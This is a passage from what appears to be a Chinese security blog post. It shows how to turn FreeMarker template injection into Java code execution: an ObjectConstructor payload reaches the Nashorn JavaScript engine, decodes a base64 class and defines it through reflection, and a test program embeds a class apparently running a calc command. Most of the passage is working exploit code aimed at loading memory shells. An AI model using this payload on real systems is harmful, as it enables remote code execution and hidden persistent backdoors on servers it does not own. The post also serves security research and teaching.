AD8A3ABCANQAAAB6AAwAAwDRAOsA3gAAAAoAygDsAO0AAQAPAMUA7gDZAAIAFADAAO8A8AADACMAsQDxAPIABAA1AJ8A8wD0AAUARACQAIgA9QAGAE0AhwD2APcABwCCAFIA+AD5AAgAoQAzALwA+gAJALQAIAD7APoACgDYAAQA5AD8AAAA5gAAAAkAAvcA1wcAzQQAAgD9AAAAAgD+AP8AAAASAAIAlwCiAQAACQCuAKIBAQYJ">
${"freemarker.template.utility.ObjectConstructor"?new()("javax.script.ScriptEngineManager").getEngineByName("js").eval("classLoader=java.lang.Thread.currentThread().getContextClassLoader();b64cl=classLoader.loadClass(\"java.util.Base64\");decoder=b64cl.getDeclaredMethod(\"getDecoder\").invoke(null);b64 = "+b64+";bytes = decoder.decode(b64);ClassLoader1=classLoader.loadClass(\"java.lang.ClassLoader\");byteType = \"\".getBytes().getClass();IntType=java.lang.Integer.TYPE;defineClass = ClassLoader1.getDeclaredMethod(\"defineClass\", byteType, IntType, IntType);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader, bytes, 0, bytes.length);clazz.newInstance();")}

js 引擎在 jdk.nashorn.internal.runtime.ScriptRuntime#apply 方法中 会桥接到Java 方法,所以这个引擎可以直接执行java代码

在jdk8中测试如下代码

package com.evil;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class jsTest {
    public static void main(String[] args) throws Exception {
        ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
        
        String js = "classLoader=java.lang.Thread.currentThread().getContextClassLoader();\n" +
                "        b64cl = classLoader.loadClass(\"java.util.Base64\");\n" +
                "        decoder = b64cl.getDeclaredMethod(\"getDecoder\").invoke(null);\n" +
                "        b64 = \"yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQAJdGVzdC5qYXZhDAAIAAkHABkMABoAGwEABGNhbGMMABwAHQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABVjb20vbGluZ3g1L0VudHJ5L3Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAgABAAgACQABAAoAAAAdAAEAAQAAAAUqtwABsQAAAAEACwAAAAYAAQAAAAUACAAMAAkAAQAKAAAARwACAAEAAAAOuAACEgO2AARXpwAES7EAAQAAAAkADAAFAAIACwAAABIABAAAAAgACQAKAAwACQANAAsADQAAAAcAAkwHAA4AAAEADwAAAAIAEA==\";\n" +
                "        bytes = decoder.decode(b64);\n" +
                "        ClassLoader1 = classLoader.loadClass(\"java.lang.ClassLoader\");\n" +
                "        byteType = \"\".getBytes().getClass();\n" +
                "         clsInt = java.lang.Integer.TYPE;\n" +
                "         defineClass = ClassLoader1.getDeclaredMethod(\"defineClass\", byteType, clsInt, clsInt);\n" +
                "        defineClass.setAccessible(true);\n" +
                "        clazz = defineClass.invoke(classLoader, bytes, 0, bytes.length);\n" +
                "        clazz.newInstance();";
        engine.eval(js);
    }
}

可以正常执行

image-20250826095733171

参考文章

Spring Boot 整合 Freemarker 模板引擎 - spring 中文网

JAVA 安全之 FreeMark 沙箱绕过研究-腾讯云开发者社区-腾讯云

收集内存马打入方式 - 文章 - 开发者社区 - 火山引擎

springboot 写文件到 RCE

su18 AddController

一文深度学习java内存马

Nashorn:潜伏在Java中的JavaScript命令执行后门

posted @ 2025-08-26 10:26  LingX5  阅读(25)  评论(0)    收藏  举报